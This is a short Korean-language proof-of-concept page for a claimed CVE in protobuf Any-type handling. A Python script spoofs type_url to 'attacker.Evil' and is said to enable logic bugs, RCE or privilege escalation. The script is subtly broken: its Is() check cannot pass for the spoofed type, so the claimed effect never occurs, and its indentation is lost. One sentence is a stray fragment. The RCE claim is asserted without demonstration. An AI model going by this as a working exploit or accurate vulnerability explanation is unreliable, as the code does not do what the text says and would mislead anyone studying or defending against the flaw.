
CVE-2026-21020용 PoC로, 공격자가 제어하는 type_url이 로직 버그, RCE 또는 권한 상승으로 이어질 수 있는 Protobuf Any-type 다형성 역직렬화를 시연합니다.
# proto_vuln.py - Insecure handling of Any type
import addressbook_pb2 # Example protobuf
# Simulated deserialization that trusts an injected type_url
from google.protobuf import any_pb2
any_msg = any_pb2.Any()
any_msg.type_url = "type.googleapis.com/attacker.Evil"
any_msg.value = b'\x0a\x05admin' # serialized payload
# Application unpacks to expected type but could instantiate arbitrary class if using dynamic loading
if any_msg.Is(addressbook_pb2.Person.DESCRIPTOR):
person = addressbook_pb2.Person()
any_msg.Unpack(person)
print("Person unpacked, but type_url was spoofed!")
한 서비스가 Protocol Buffers의 Any 타입을 사용하여 메시지를 캡슐화하고, 기대되는 타입을 검증하지 않은 채 type_url 필드를 사용하여 동적으로 언팩합니다. 공격자는 위험한 메시지 클래스(또는 의도하지 않은 클래스)를 가리키도록 조작된 type_url이 포함된 메시지를 전송하여 로직 버그 또는 코드 실행을 유발할 수 있습니다.
type_url을 기반으로 페이로드를 역직렬화합니다.시뮬레이션 실행:
pip install protobuf
python proto_vuln.py
이는 Any 타입이 스푸핑될 수 있음을 보여줍니다. 코드가 type_url에서 클래스를 동적으로 로드한다면 RCE로 이어질 수 있습니다.